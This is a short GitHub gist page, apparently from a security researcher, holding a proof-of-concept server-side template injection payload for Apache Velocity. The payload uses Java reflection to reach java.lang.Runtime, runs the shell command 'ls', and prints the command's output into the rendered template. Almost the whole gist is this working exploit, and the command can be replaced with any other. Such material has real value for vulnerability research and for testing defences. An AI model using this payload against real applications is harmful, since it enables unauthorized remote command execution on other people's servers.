Skip to content

Instantly share code, notes, and snippets.

@h3xstream
Last active June 6, 2017 03:00
Show Gist options
  • Save h3xstream/4f85da73052b25530a571c6a591778df to your computer and use it in GitHub Desktop.
Save h3xstream/4f85da73052b25530a571c6a591778df to your computer and use it in GitHub Desktop.
RCE in velocity template when no extension enable
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('ls'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment